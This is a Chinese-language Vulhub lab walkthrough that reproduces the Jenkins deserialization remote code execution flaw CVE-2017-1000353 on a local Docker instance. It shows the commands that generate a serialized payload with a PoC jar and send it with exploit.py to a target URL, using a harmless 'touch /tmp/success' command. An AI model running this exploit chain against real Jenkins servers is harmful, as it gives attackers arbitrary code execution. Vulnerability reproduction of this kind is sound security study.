enkins-CI 遠程代碼執行漏洞(CVE-2017-1000353)
原理
參考閱讀 https://blogs.securiteam.com/index.php/archives/3171
環境搭建
執行如下命令啟動jenkins 2.46.1:
docker-compose up -d
等待完全啟動成功后,訪問http://your-ip:8080即可看到jenkins已成功運行,無需手工安裝。
測試過程
步驟一、生成序列化字符串
參考https://github.com/vulhub/CVE-2017-1000353,首先下載CVE-2017-1000353-1.1-SNAPSHOT-all.jar,這是生成POC的工具。
執行下面命令,生成字節碼文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字節碼文件名
# "touch ..."是待執行的任意命令
執行上述代碼后,生成jenkins_poc.ser文件,這就是序列化字符串。
步驟二、發送數據包,執行命令
下載exploit.py,python3執行python exploit.py http://your-ip:8080 jenkins_poc.ser,將剛才生成的字節碼文件發送給目標:

進入docker,發現/tmp/success成功被創建,說明命令執行漏洞利用成功:

Vulhub 文檔
推薦文章: